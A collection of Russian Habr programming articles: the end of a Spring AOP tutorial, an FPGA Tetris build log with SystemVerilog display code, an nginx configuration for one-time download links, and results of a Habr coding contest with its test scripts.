System.out.println(clock.prettyPrint());
}
}
}
```
Если запустить вызывающий код с вызовами методов MyService, то получим время вызова каждого метода. Таким образом не меняя вызывающий код и целевой я добавил новые функциональности: логирование, профайлер и безопасность.
> Пример использование в UI формах
есть код который по настройке скрывает/показывает поля на форме:
```
public class EditForm extends Form {
@Override
public void init(Form form) {
formHelper.updateVisibility(form, settingsService.isVisible(COMP_NAME));
formHelper.updateVisibility(form, settingsService.isVisible(COMP_LAST_NAME));
formHelper.updateVisibility(form, settingsService.isVisible(COMP_BIRTH_DATE));
// ...
}
```
так же можно updateVisibility убрать в Advice типа [Around](https://habr.com/users/around/)
```
@Aspect
public class MyAspect {
@Pointcut("execution(* com.example.demoAspects.EditForm.init() && args(form,..))")
public void callAtInit(Form form) { }
// ...
@Around("callAtInit(form)")
public Object aroundCallAt(ProceedingJoinPoint pjp, Form form) {
formHelper.updateVisibility(form, settingsService.isVisible(COMP_NAME));
formHelper.updateVisibility(form, settingsService.isVisible(COMP_LAST_NAME));
formHelper.updateVisibility(form, settingsService.isVisible(COMP_BIRTH_DATE));
Object retVal = pjp.proceed();
return retVal;
}
```
и.т.д.
Структура проекта
**pom файл**
```
xml version="1.0" encoding="UTF-8"?
4.0.0
com.example
demoAspects
0.0.1-SNAPSHOT
jar
demoAspects
Demo project for Spring Boot Aspects
org.springframework.boot
spring-boot-starter-parent
2.0.6.RELEASE
UTF-8
UTF-8
1.8
org.springframework.boot
spring-boot-starter-aop
org.springframework.boot
spring-boot-starter-test
test
org.springframework.boot
spring-boot-maven-plugin
```
Материалы
[Aspect Oriented Programming with Spring](https://docs.spring.io/spring/docs/4.3.15.RELEASE/spring-framework-reference/html/aop.html) | https://habr.com/ru/post/428548/ | null | ru | null |
# Делаем тетрис под FPGA
Всем привет!
На этих долгих новогодних выходных я задался вопросом: насколько легко написать какую-то простенькую игрушку на FPGA с выводом на дисплей и управлением с клавиатуры. Так родилась еще одна реализация тетриса на [ПЛИС](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D1%83%D0%B5%D0%BC%D0%B0%D1%8F_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%BC_%D0%B2%D0%B5%D0%BD%D1%82%D0%B8%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B0%D1%82%D1%80%D0%B8%D1%86%D0%B0): **yafpgatetris**.
Конечно, игры на FPGA делаются больше для фана и обучения, чем для каких-то реальных “продакшен” задач, да и от “разработки” игр я очень [далек](http://habrahabr.ru/post/234369/), можно сказать, для меня это новый опыт.
Если интересно, как можно запускать игру без операционной системы, реализуя её на самом низком уровне, с помощью триггеров и комбинационной логики, добро пожаловать под кат.
### О девките
Нам надо «что-то», где наша игра запустится. Один из самых простых способов — взять девкит, где есть FPGA и какая-то периферия для ввода/вывода. В моем распоряжении оказалась платка от Terasic с названием [**DE1-SoC**](http://de1-soc.terasic.com/).
Ну что сказать?
Девкит, как девкит. Много периферии: нам из неё будет интересны разьемы **PS/2** и **VGA**. Для обучения (в школах, либо университетах) самое то. Для своих целей мы его закупили как раз для того, чтобы поиграться (и для обучения студентов), чем для реализации каких-то своих «продакшен» идей.
Если вдруг DE1-SoC (либо похожие платы) вы используете в своих реальных приборах (а не просто поморгать светодиодом) — поделитесь в комментариях, будет интересно.
**SoC** в названии чипа обозначает то, что в чипе есть и обычная FPGA-логика, и ARM-процессор. Забегая вперед, скажу, что для своей задачи я не использовал ни ARM, ни какой-то софтварный процессор, так что мой проект вы сможете запустить на своих платах с другими FPGA-чипами. Если интересно почитать про поднятие связки FPGA + ARM, и какие бонусы из этого можно получить, советую обратиться к [статье](http://habrahabr.ru/post/235707/) моего коллеги [Des333](https://habrahabr.ru/users/des333/).
### Что хотим получить
В понятие тетрис можно вкладывать различные вещи, поэтому я набросал примерное ТЗ, чего хотел получить:
* Стандартный набор фигурок. Их поведение должно быть максимально похожим на привычное.
* Игра разноцветная. За каждой фигуркой закреплен свой цвет.
* Фигурки генерируется случайно с равномерным распределением.
* Должно быть окно, в котором отображается следующая фигурка.
* Должна быть информация о состоянии игры: количество очков, количество убранных линий, текущий уровень.
* Очки начисляются по “прогрессивной” шкале: чем больше за раз убрал линий, тем больше очков.
* Чем выше уровень, тем больше скорость падения фигурок.
* Корректно детектируется “конец игры”, есть возможность начать новую игру.
* Ввод действий пользователя осуществляется с клавиатуры (PS/2).
* Отображение состояния поля и прочего происходит на обычном дисплее через VGA интерфейс.
### Схема проекта
Можно выделить три основные части:
* Ввод пользователем. Принимаем данные от клавиатуры и “воздействуем” на систему.
* Всё, что относится к самой игре. По факту FSM (finite-state machine), которая принимает “запросы” от игрока, и “делает всё”: генерирует новые фигурки, их двигает, убирает линии, и прочее.
* Отображение состояния игры. Отрисовываем на дисплей через интерфейс VGA.
### PS/2
Если честно, сначала думал обойтись без клавиатуры и использовать клавиши на самом ките, но на удивление никаких проблем с клавиатурой не возникло: всё заработало из коробки.
Для приёма команд с клавиатуры нужен PS/2 контроллер. Я использовал вот [этот](http://www.eecg.toronto.edu/~jayar/ece241_08F/AudioVideoCores/ps2/ps2.html).
Если чуть обратиться к теории, то для каждой клавиши определен набор [кодов](http://www.computer-engineering.org/ps2keyboard/scancodes2.html), которые посылает клавиатура при её нажатии или отпускании.
Возьмем клавишу “Enter”:
* Make: 5A
* Break: F0, 5A.
Посмотрим, как это выглядит внутри FPGA:
Обычное нажатие клавиши:
[](http://http:https://habrastorage.org/files/972/53f/72f/97253f72f189451cb0816131f1d5f104.png)
Как видим, действительно:
* Нажимаем на клавишу, приходит 5A.
* Отпускаем: приходит F0, после нее 5A.
* Снова нажимаем: приходит 5A и так далее.
Если зажмем клавишу, то получим вот это:
[](http://http:https://habrastorage.org/files/972/53f/72f/97253f72f189451cb0816131f1d5f104.png)
Просто приходит команда 5A с какой-то периодичностью.
Нам нужен небольшой набор клавиш:
* обычные стрелки — для управления фигуркой.
* **n** — для начала новой игры.
Для определения типа события, можно обойтись сдвиговым регистром и небольшой примитивной логикой, а всё остальные клавиши просто пропускать мимо. В рамках этой игры я решил, что мне достаточно детектировать события о нажатии клавиши, а отпускание игнорировать. При зажатии клавиши всё равно будут приходить команды о том, что клавиша нажата, а следовательно игрок всё еще хочет, чтобы фигурка двигалась либо переворачивалась. Признаюсь, опасался, что фигурки будут двигаться слишком непривычно, но всё обошлось.
После детектирования интересующего нас “события” кладем его в FIFO, откуда его заберет “прикладная логика” игры. Если у вас не оказалось PS/2 на своей плате, но есть какие-то ключи, тумблеры, то достаточно будет написать логику которая нажатия этих кнопок переведет в “события”, и игра ничего не заметит.
Этот контроллер позволяет подключить мышь, но я не пробовал.
### Основная логика игры
С одной стороны, логика тривиальна, и описывается следующей FSM:
(Если честно, не знаю, использует кто-нибудь в продакшене “State Machine Viewer”, если да, поделитесь в комментариях для чего. За всё время разработки под FPGA я его открывал пару раз, да и то в рамках обучения).
FSM «общается» со следующими блоками/модулями:
* **gen\_sys\_event** — таймер, который отсчитывает время, через которое надо автоматически двинуть фигурку вниз.
* **gen\_next\_block** — генератор новой фигурки.
* **check\_move** — проверка, можно ли выполнить текущий «ход».
* **tetris\_stat** — накопление «статистики».
* **user\_input** — считывает событие, которое «произвел» пользователь.
Всё очень похоже на «обычную» реализацию Тетриса, которые написаны на C++/Java/etc: различные модули выполняют роль функций в тех языках. Да и проблемы возникают такие же: дольше всего сидел над переворотом фигурки, ответ подсмотрел в коде [quadrapassel](https://wiki.gnome.org/Apps/Quadrapassel). Один из вариантов является то, что можно хранить хранить таблицу всех возможных разворотов (для каждой фигурки четыре варианта).
Весь код написан на Verilog, а если быть более точным — на SystemVerilog. С одной стороны SystemVerilog намного гибче, чем Verilog, а с другой стороны это приводит к тому, что ты не ограничен, и хочешь всё больше и больше различных рюшечек реализовать :).
Я упростил себе жизнь: текущее состояния поля хранится на регистрах (вместо внутренней памяти), и из-за этого (а так же того, что некоторые вещи сделаны неоптимально) образуется много логики, и проект занимает немало ресурсов (около 3.2k ALM из 32k). Если переехать на память, то придется делать некоторые вещи последовательно (например, сдвиг вниз всего поля, когда надо убирать линию, которая заполнилась). Скорее всего я не буду переделывать на использование памяти.
В тестовых целях я собрал я проект под платы DE0/DE1 (братья той платы, которая у меня, но с бюджетными чипами: у них меньше ресурсов, и они более «младшего поколения»): проект по ресурсам влезает. Однако…
**Скрытый текст**… прям из коробки не заработает:
* Квартус будет ругаться на некоторые вещи в qsf файле, т.к. я собирал для 14-м квартусом, где нет Cyclone II/III. Ранние версии квартуса этих вещей не знают: придёться ручками удалить в qsf файле эти строчки, а потом по смыслу такие же галки поставить в GUI квартуса.
* Не укладывается по частоте: «главная» частота в этом проекте 108 МГц (на нем работает сам main\_game\_logic и отрисовка на VGA). Чуть забегая вперед, частота 108 МГц — потому что используется разрешение 1280x1024, если использовать 640x480, то там будет частота 25 МГц, и уложится.
* Возможно, придется перегенерировать мегафункции для PLL и FIFO, т.к. они были созданы для Cyclone V.
* Вывод на дисплей, возможно, надо чуть подредактировать (выбрать другие цвета), т.к. там на каждый цвет только четыре бита выделено (как я понял), против восьми, как в этой плате.
### Отображение на дисплей
Информации о том, как с помощью ПЛИС выводить изображение на дисплей через VGA можно найти немало, например на [хабре](http://habrahabr.ru/post/157863/), поэтому на этом подробно останавливаться не буду.
В этом ките вывод на VGA сделан следующим образом:
Каждый такт **VGA\_CLK** необходимо выставлять новое значения цвета в модели RGB, а затем ЦАП эти значения преобразует в необходимый уровень сигнала.
В качестве контроллера VGA сигналов я взял модуль из демопримеров, которые есть на [CD](http://www.terasic.com/downloads/cd-rom/de1-soc/) для этого кита. Забавно, что есть понятие CD, но в комплекте с платой никакого CD нет: необходимо скачивать архив из интернета.
Этот «контроллер» Terasic использует и в других китах: он легко гуглится по имени «vga\_time\_generator». Он удобен тем, что можно настроить его на любой режим работы (640x480, 800x600, etc), и тем, что выдает координаты (**pixel\_x**, **pixel\_y**) текущего пикселя для отображения. Наша задача сводится к тому, чтобы в зависимости от этих координат подставить нужное значения цвета.
[](http://http:https://habrastorage.org/files/8fb/44c/296/8fb44c2962824edd86202bdf2a2d4966.png)
Я решил, что 640x480 на большом мониторе смотрится не очень и переехал на 1280x1024, просто передав в модуль нужные значения из [стандарта](http://tinyvga.com/vga-timing). Дополнительно пришлось изменить значение **VGA\_CLK**: вместо 25.175 МГц стало 108 МГц. Правда, я потом немного жалел об этом, но красота требует жертв.
Рассмотрим, как выводить какие-то примитивные объекты.
Например:
```
`define RGB_BLACK 24'h00_00_00
`define RGB_ORANGE 24'hFF_A5_00
logic [23:0] vga_data;
localparam START_X = 100;
localparam START_Y = 100;
localparam END_X = START_X + 200 - 1;
localparam END_Y = START_Y + 300 - 1;
always_comb
begin
vga_data = `RGB_BLACK;
if( ( pixel_x >= START_X ) && ( pixel_x <= END_X ) &&
( pixel_y >= START_Y ) && ( pixel_y <= END_Y ) )
vga_data = `RGB_ORANGE;
end
assign { r, g, b } = vga_data;
```
Выведется оранжевый квадрат размером 200x300 пикселей, причем верхний левый угол будет расположен в точке (100, 100).
Или:
```
`define RGB_BLACK 24'h00_00_00
`define RGB_ORANGE 24'hFF_A5_00
logic [23:0] vga_data;
localparam MSG_X = 56;
localparam MSG_Y = 5;
logic [0:MSG_Y-1][0:MSG_X-1] msg;
assign msg[0] = 56'b10010011110010000010000001100000001001000110001110001110;
assign msg[1] = 56'b10010010000010000010000010010000001001001001001001001001;
assign msg[2] = 56'b11110011110010000010000010010000001111001111001111001111;
assign msg[3] = 56'b10010010000010000010000010010000001001001001001001001110;
assign msg[4] = 56'b10010011110011110011110001100000001001001001001110001001;
logic [$clog2(MSG_X)-1:0] msg_pix_x;
logic [$clog2(MSG_Y)-1:0] msg_pix_y;
localparam START_MSG_X = 100;
localparam START_MSG_Y = 100;
localparam END_MSG_X = START_MSG_X + MSG_X - 1;
localparam END_MSG_Y = START_MSG_Y + MSG_Y - 1;
assign msg_pix_x = pixel_x - START_MSG_X;
assign msg_pix_y = pixel_y - START_MSG_Y;
always_comb
begin
vga_data = `RGB_BLACK;
if( ( pixel_x >= START_MSG_X ) && ( pixel_x <= END_MSG_X ) &&
( pixel_y >= START_MSG_Y ) && ( pixel_y <= END_MSG_Y ) )
begin
if( msg[ msg_pix_y ][ msg_pix_x ] )
begin
vga_data = `RGB_ORANGE;
end
end
end
assign { r, g, b } = vga_data;
```
Выведется **HELLO HABR** шрифтом c высотой в 5 пикселей оранжевым цветом на черном фоне. (Приглядитесь к единицам в массиве **msg**).
Думаю, понятно, как можно отрисовывать какие-то статичные сообщения или поле игры.
#### Выводим строчки
Для отображения статистики (строк «Score», «Lines», «Level» и их значений) я решил пойти по “классическому” пути. Его можно посмотреть, например, [тут](http://ece320web.groups.et.byu.net/labs/VGATextGeneration/VGA_Terminal.html).
Допустим, какая-то логика уже определила, какой какой символ (читай, букву или цифру) мы хотим выводить #прямосейчас (в зависимости от **pixel\_x**, **pixel\_y**). Для его отображения используем готовую таблицу шрифта, где единицами будет отмечено какой пиксель необходимо красить цветом шрифта, а нулем — цветом фона, типа:
```
"00000000", -- 0
"00000000", -- 1
"00010000", -- 2 *
"00111000", -- 3 ***
"01101100", -- 4 ** **
"11000110", -- 5 ** **
"11000110", -- 6 ** **
"11111110", -- 7 *******
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"11000110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000", -- f
```
Во многих проектах (что можно найти в сети) с VGA используется такая таблица (**Font ROM**), но они рассчитаны на дисплей 640x480: для 1280x1024 это получается мелковато, поэтому необходимо подготовить похожую таблицу, но с “большим” шрифтом.
В этом мне помогла утилита [nafe](http://nafe.sourceforge.net/). На входе принимает psf файл, на выходе — текстовый файл с X, в тех пикселях, которые надо отрисовать. С помощью любимого языка (либо чуть переделываем вывод оригинальной программы) меняем X на “1”, а пробелы на “0”, и добавляем заголовок, чтобы сделать mif файл (который потом используется для инициализации ROM).
Самый большой шрифт, что я нашел у себя в формате psf, был 32x16, и, в принципе, для этой задачи его хватило, но я хотел бы чуть больше его сделать. Насколько я понимаю, каких-то ограничений нет, и с помощью этой утилиты можно подготовить ROM с любыми символами (например, русскими буквами).
Однако, для заголовка **yafpgatetris** и сообщения **GAMEOVER** этот размер мне показался маленьким, и я решил выводить эти сообщения аналогично строчке **HELLO HABR** в примере выше. Единственный вопрос — как подготовить **msg**, т.к. ручками это делать уж очень не хотелось.
Сразу пришло в голову относительно простое велосипедное(?) решение:
* Набираем текст нужного шрифта и размера в Paint/GIMP.
* Сохраняем в PNG без сжатия и сглаживания.
* Используем какую-то готовую библиотеку, чтобы прочитать PNG файл и для каждого пикселя вывести 0, если “цвет белый”, 1 если “цвет черный”.
Получившийся набор нулей и единиц тоже можно положить в ROM (в другую, чем шрифт, конечно).
#### Немного фотографий
Пара фотографий из серии “разработка в процессе”:
**Скрытый текст**Научились выводить поле: фигурки просто падают вниз и все одного цвета.
Добавили статистику и разные цвета. Цвета вырвиглазные :)
Ну, а окончательный вариант — в начале статьи :)
P.S.
Если честно, не знаю, почему при фотографировании такие «разводы» на дисплее, может какую-то настройку не включил в VGA-корке, либо просто не повезло…
#### Итоги
**Исходники:**
<https://github.com/johan92/yafpgatetris>
**Видео:**
Я попытался сделать проект максимально параметризируемым, и логически разделил на части, поэтому, если захотите на базе моего проекта сделать «гоночки», где надо уворачиваться от других машин, либо змейку, достаточно написать свою **main\_game\_logic** и чуть-чуть поправить вывод (если надо).
На разработку ушло где-то около 5 дней, если считать «чистое время»: пришлось повозиться с переворотом фигурки (фактически два раза переписывать алгоритм), много времени ушло на подбор цветов, размеров, выравнивания и расположения сообщений. Внутренний перфекционист всё время требовал от внутреннего дизайнера что-то сдвинуть, что-то увеличить/уменьшить и пр. Для себя я усвоил, что разработка GUI это не моё) В итоге, цвета для фигурок я взял из приложения [Тетрис](https://vk.com/app1) в Вконтакте.
Если вы купили кит и хотите обучиться разработке под FPGA, не рекомендую делать тетрис прям в качестве первого проекта. Начините со светодиодиков, сегментных индикторов, часов, и прочих классических вещей. Когда это пройдете, то можно попробовать тетрис, либо какую-то другую простенькую игру. Надеюсь, мой проект поможет в этом начинании.
Спасибо за внимание! Если появились вопросы, задавайте без сомнений. | https://habr.com/ru/post/247535/ | null | ru | null |
# После прочтения сжечь. Делаем одноразовые ссылки на голом Nginx
Для начала нужно уточнить, что я настоятельно не рекомендую использовать это решение в боевых условиях. Лучше вовсе так не делать никогда. Всё, что вы делаете, вы делаете на свой страх и риск. Причины, которые заставляют дать такой совет, будут приведены в содержании статьи. Если это предупреждение вас не отпугнуло, то добро пожаловать под кат.
Под «голым Nginx» понимается пакет для Ubuntu 16.04 из mainline ветки [официального репозитория](https://nginx.ru/ru/linux_packages.html#mainline), который уже собран с ключом --with-http\_dav\_module.
Предполагается, что у вас уже есть настроенный nginx в такой же «комплектации», следовательно, ниже будет описываться лишь настройка нескольких location, которые вы добавите в свою секцию server конфига nginx.
В моём случае все временные файлы будут храниться в папке /var/www/upload по пути вида /random\_folder\_name/filename, где в качестве random\_folder\_name будет рандомная строка из нужного нам количества байт, потому создаём location вида:
```
location ~ ^/upload/([\w]+)/([^/]*)?$ {
root /var/www;
if ($request_method !~ ^(PUT|DELETE)$) {
return 444;
}
client_body_buffer_size 2M;
client_max_body_size 1G;
dav_methods PUT DELETE;
dav_access group:rw all:r;
create_full_put_path on;
}
```
Проверяем, что загрузка и удаление файлов и папок работает командами в консоли
```
curl -X PUT -T test.txt https://example.com/upload/random_folder_name/
curl -X DELETE https://example.com/upload/random_folder_name/
```
Для того, чтобы оградить свой сервер от неконтролируемого потока загружаемых файлов, добавим проверку токена, который мы будем передавать заголовком Token. В конфиге это будет выглядеть следующим образом
```
if ($http_token != "cb110ef4c4165e495001e297feae7092") {
return 444;
}
```
Сам токен можно сгенерировать в консоли командой вида
```
hexdump -n 16 -e '/4 "%x"'
```
Снова проверяем, командами в консоли, что загрузка и удаление файлов и папок работает, но только при наличии в запросе заголовка Token
```
curl -X PUT -H "Token: cb110ef4c4165e495001e297feae7092" -T test.txt https://example.com/upload/random_folder_name/
curl -X DELETE -H "Token: cb110ef4c4165e495001e297feae7092" https://example.com/upload/random_folder_name/
```
Загружать и удалять файлы мы научились, но для того, чтобы скачивать файлы мы заведём отдельный location
```
location ~ ^/download/(?[\w]+)/([^/]\*)$ {
root /var/www;
if ($request\_method != GET) {
return 444;
}
rewrite ^/download/([\w]+)/([^/]\*)$ /upload/$1/$2 break;
}
```
Проверяем, что получение файлов работает командой в консоли
```
curl https://example.com/download/random_folder_name/test.txt
```
Если тесты прошли успешно, то необходимо привести этот location к состоянию, удовлетворяющему нашим требованиям:
* Если единожды попросить у nginx файл, то он его закеширует и будет снова и снова его отдавать, даже если файл удалить с диска. Это не укладывается в нашу концепцию одноразовых ссылок, потому необходимо, следуя [инструкции](https://nginx.ru/ru/docs/http/ngx_http_core_module.html#open_file_cache) привести директиву open\_file\_cache к значению off
```
open_file_cache off;
```
* Для того, чтобы все файлы отдавались как аттачи, в том числе и html, необходимо их отдавать с заголовками Content-Type: application/octet-stream и Content-Disposition: attachment. А также, чтобы «умные» браузеры, например Internet Explorer, не могли переопределить content type на основе содержимого файла, нужен заголовок X-Content-Type-Options: nosniff. В конфиге это будет выглядеть следующим образом
```
types { }
default_type application/octet-stream;
add_header Content-Disposition "attachment";
add_header X-Content-Type-Options "nosniff";
```
Теперь мы научились загружать и безопасно получать, но нам нужно сделать так, чтобы они удалялись сразу после скачивания, а для этого мы заведём отдельный location
```
location @delete {
proxy_method DELETE;
proxy_set_header Token "cb110ef4c4165e495001e297feae7092";
proxy_pass https://example.com/upload/$folder/;
}
```
И вызывать этот location мы будем из location ~ ^/download/… директивой
```
post_action @delete;
```
Выглядит вполне прилично, но я, как и писал выше, крайне не рекомендую использовать то, что [непонятно как работает и не задокументировано](https://forum.nginx.org/read.php?2,274880,274886#msg-274886). Именно поэтому я надеюсь, что никто не будет использовать это решение «в бою»
Теперь всё хорошо, ибо файлы мы можем загрузить, скачать, и после скачивания они удаляются, но полученные ссылки невозможно передавать в мессенджерах, т.к. боты делают запросы по этим ссылкам в надежде получить контент и сгенерировать превью, что приводит к тому, что файл сразу же удаляется, а получатель при переходе по ссылке наблюдает 404 вместо заветного файла.
Для решения этой проблемы мы воспользуемся тем, что будем отправлять получателю не прямую ссылку на скачивание файла, а ссылку на промежуточную страницу, и сделаем это также только благодаря возможностям «коробочного» Nginx.
Первым делом создаём ещё один location, который будет отдавать html-файл
```
location ~ ^/get/(?[\w]+)/(?[^/]\*)$ {
root /var/www;
ssi on;
if ($request\_method != GET) {
return 444;
}
rewrite ^(.\*)$ /download.html break;
}
```
Самое важное в этом location — деректива «ssi on;». Именно с помощью [ngx\_http\_ssi\_module](https://nginx.ru/ru/docs/http/ngx_http_ssi_module.html) мы будем отдавать динамический html, как бы странно эта фраза не звучала.
Создаём в папке /var/www тот самый файл download.html с содержимым следующего вида
```
After downloading this data will be destroyed
Download
```
Теперь вместо того, чтобы отдавать прямую ссылку на скачивание вида [example.com/download/random\_folder\_name/filename](https://example.com/download/random_folder_name/filename), мы будем передавать ссылку на промежуточную страницу. Ссылка на эту страницу будет выглядеть как [example.com/get/random\_folder\_name/filename](https://example.com/get/random_folder_name/filename), при переходе на неё файл останется целым и невредимым, т.к. для его скачивания необходимо будет кликнуть на кнопку. А для большей уверенности, что боты не перейдут по ссылке с этой страницы, добавим в location ~ ^/download/… проверку заголовка Referer, чтобы файл отдавался только в том случае, если он действительно был скачан с промежуточной страницы
```
if ($http_referer !~ ^https://example\.com/get/([\w]+)/([^/]*)$) {
return 444;
}
```
Итоговый конфиг в моём случае выглядит следующим образом
```
location ~ ^/upload/([\w]+)/([^/]*)?$ {
root /var/www;
if ($request_method !~ ^(PUT|DELETE)$) {
return 444;
}
if ($http_token != "cb110ef4c4165e495001e297feae7092") {
return 444;
}
client_body_buffer_size 2M;
client_max_body_size 1G;
dav_methods PUT DELETE;
dav_access group:rw all:r;
create_full_put_path on;
}
location ~ ^/get/(?[\w]+)/(?[^/]\*)$ {
root /var/www;
ssi on;
if ($request\_method != GET) {
return 444;
}
rewrite ^(.\*)$ /download.html break;
}
location ~ ^/download/(?[\w]+)/([^/]\*)$ {
root /var/www;
open\_file\_cache off;
types { }
default\_type application/octet-stream;
add\_header Content-Disposition "attachment";
add\_header X-Content-Type-Options "nosniff";
if ($request\_method != GET) {
return 444;
}
if ($http\_referer !~ ^https://example\.com/get/([\w]+)/([^/]\*)$) {
return 444;
}
rewrite ^/download/([\w]+)/([^/]\*)$ /upload/$1/$2 break;
post\_action @delete;
}
location @delete {
proxy\_method DELETE;
proxy\_set\_header Token "cb110ef4c4165e495001e297feae7092";
proxy\_pass https://example.com/upload/$folder/;
}
```
Чтобы теперь этим было удобно пользоваться и не вбивать в консоли длинные команды для загрузки файлов и папок, я набросал в .zshrc (предполагаю, что будет работать и в .bashrc)
**функцию**
```
upload() {
if [ $# -eq 0 ]; then
echo "Usage:
upload [file|folder] [option]
cat file | upload [name] [option]
Options:
gpg - Encrypt file. The folder is pre-packed to tar
gzip - Pack to gzip archive. The folder is pre-packed to tar
"
return 1
fi
uri="https://example.com/upload"
token="cb110ef4c4165e495001e297feae7092"
random=$(hexdump -n 8 -e '/4 "%x"'
```
Минусы этого решения:
* Использование недокументированной директивы post\_action, которую использовать [нельзя](https://forum.nginx.org/read.php?2,274880,274886#msg-274886)
* Нет докачки. Если оборвалось соединение, то nginx исполнит директиву post\_action и удалит файл
* Всё это выглядит как магия
**UPD**: Статья обновлена 18.01.2018. Всем, кто ранее успел настроить подобное у себя, настоятельно рекомендую внести соответствующие изменения, руководствуясь обновлённой статьёй.
P.S.: Выражаю благодарность [el777](https://habrahabr.ru/users/el777/), т.к. его [совет](https://habrahabr.ru/post/346758/#comment_10620084), привёл к тому, что на меня снизошло озарение, и конфиги со статьёй были переписаны. | https://habr.com/ru/post/346758/ | null | ru | null |
# Результаты новогоднего Хабра-соревнования по программированию, анализ и обсуждение
Честно говоря, я не ожидал такого количества решений: за 24 часа было прислано 265 решений, из которых после удаления повторных отправок осталось 183.
Из 183 решений у 11 был превышен допустимый размер решения, в 19 случаях — не удалось скомпилировать (об этих ошибках подробнее ниже). Далее 47 дали неправильные ответы на простых тестах (1..1000000), 8 не успели посчитать ответ за минуту (образец решения из условия задачи для 1млн работал 5 минут 36 секунд).
На сложных тестах — 5 решений выдали неверный ответ, и 12 — не уложились в одну минуту. 86 — успешно прошли все тесты.
Если кто потерял, вот [топик о старте соревнования с условиями задачи](http://habrahabr.ru/post/164515/).
О тестах и тестировании
=======================
Тестировалось все банальными скриптами, самая трудоёмкая операция — сохранение руками решений из почты (и повторные имена файлов… 42 штуки main.cpp....). Это видимо один из тех случаев, когда написать web-приложение для приема решений быстрее, чем разгребать тонны почты.Результаты тестирования — складывались в MySQL, откуда строилась таблица результатов.
**Простые тесты:**
```
function do_test($input, $expected_output)
{
global $task_id;
exec("echo '$input' | Solutions2/bin/$task_id &2>1", $output);
if(count($output)==0)return false;
return(strcmp($output[0], $expected_output)==0);
}
$result = do_test("10","17") && do_test("1","0") && do_test("1000","76127") && do_test("100000","454396537") && do_test("1000000","37550402023");
```
**Сложные тесты:**
Оценивалось усредненное время выполнения (т.е. время выполнения для 4-х разных входных значений, деленное на 4). 3 самых быстрых решения тестировались со 100-кратным повторением — чтобы получить более точное время работы (отличие от одиночного прогона в пределах 1%).
```
$start_time = microtime (true);
//for($i=0;$i<100;$i++)
$result = do_test("980000000","23783220704190493") && do_test("1051174931","27269025983026043") && do_test("891728152","19783994900202129") && do_test("761987760","14559966509022149");
$end_time = microtime (true);
```
Таблица результатов
===================
Коллеги, поднажмем на инвайты:
| № | Habraname | Нужен ли инвайт | Результат | System ID |
| --- | --- | --- | --- | --- |
| 1 | @shadeware | Уже нет | 0.035053772330284 сек. | 48 |
| 2 | @mikhaelkh | Уже нет | 0.039169362783432 сек. | 41 |
| 3 | @Icemore | Уже нет | 0.068273649811745 сек. | 129 |
| 4 | @ripatti | Уже нет | 0.11206769943237 сек. | 8 |
| 5 | @kbxxi | Уже нет | 0.15401327610016 сек. | 156 |
| 6 | @monoid | Уже нет | 0.22840601205826 сек. | 69 |
| 7 | @Zver1992 | | 0.23262423276901 сек. | 133 |
| 8 | @Mrrl | | 0.37099504470825 сек. | 178 |
| 9 | @Staker | Да | 0.66007524728775 сек. | 171 |
| 10 | @SyDr | Да | 0.93328875303268 сек. | 78 |
| 11 | @vbarinov | Да | 3.2648342847824 сек. | 108 |
| 12 | @vanla | Да | 3.3831697702408 сек. | 19 |
| 13 | @MaSaK | Да | 3.4151287674904 сек. | 20 |
| 14 | @dark1ight | | 3.5476635098457 сек. | 36 |
| 15 | @udalov | Да | 3.8905065059662 сек. | 116 |
| 16 | @bklim | | 4.3489827513695 сек. | 149 |
| 17 | @cfighter | | 4.4272682070732 сек. | 11 |
| 18 | @VladVR | | 4.7588297724724 сек. | 89 |
| 19 | @borozdinKirill | | 4.775633752346 сек. | 109 |
| 20 | @ZhekSooN | | 4.8941134810448 сек. | 122 |
| 21 | @madkite | | 4.9126330018044 сек. | 114 |
| 22 | @akazakow | | 5.208831012249 сек. | 45 |
| 23 | @mingrief | | 5.2523249983788 сек. | 179 |
| 24 | @pasky | | 5.9874464869499 сек. | 5 |
| 25 | @ewnd9 | | 6.024626493454 сек. | 183 |
| 26 | @gnhdnb | | 6.0333037376404 сек. | 158 |
| 27 | @through\_horizon | | 6.2488570213318 сек. | 21 |
| 28 | @kosmos89 | | 6.2885909676552 сек. | 126 |
| 29 | @Nickel | | 6.36874127388 сек. | 42 |
| 30 | @infsega | | 6.4502172470093 сек. | 33 |
| 31 | @shuternay | | 6.4606020450592 сек. | 6 |
| 32 | @smyatkin\_maxim | | 6.5664409995079 сек. | 123 |
| 33 | @azhi | | 6.9450110197067 сек. | 145 |
| 34 | @Valmount | | 7.2953402400017 сек. | 147 |
| 35 | @Alick09 | | 7.4088390469551 сек. | 125 |
| 36 | @alexeibs | | 7.6391640305519 сек. | 177 |
| 37 | @DoctorStein | | 7.6435596942902 сек. | 128 |
| 38 | @Kenny\_HORROR | | 7.8451775312424 сек. | 77 |
| 39 | @Ratio2 | | 7.8529967665672 сек. | 53 |
| 40 | @No username specified | | 8.0461687445641 сек. | 80 |
| 41 | @mobi | | 8.129643201828 сек. | 64 |
| 42 | @Lonsdaleite | | 8.2785065174103 сек. | 92 |
| 43 | @tiirz | | 8.3757525086403 сек. | 134 |
| 44 | @Goryn | | 8.3831282258034 сек. | 167 |
| 45 | @Leronxp | | 8.5381667613983 сек. | 93 |
| 46 | @singstio | Да | 8.5835777521133 сек. | 165 |
| 47 | @CTAKAH4uK | | 8.7342492341995 сек. | 173 |
| 48 | @XMypuK | | 8.8221767544746 сек. | 95 |
| 49 | @Edelweiss | | 8.8413127660751 сек. | 61 |
| 50 | @Jovfer | | 9.6698319911957 сек. | 174 |
| 51 | @crimaniak | | 10.019654750824 сек. | 113 |
| 52 | @luckman | | 10.166677713394 сек. | 46 |
| 53 | @ladilova | | 10.607916533947 сек. | 59 |
| 54 | @Gromilo | | 11.256841778755 сек. | 86 |
| 55 | @FreeCoder | | 11.380919516087 сек. | 44 |
| 56 | @awa | | 11.482711791992 сек. | 102 |
| 57 | @sprosin | | 11.626729488373 сек. | 76 |
| 58 | @BelerafonL | | 11.740502238274 сек. | 15 |
| 59 | @polar\_winter | | 11.798308491707 сек. | 47 |
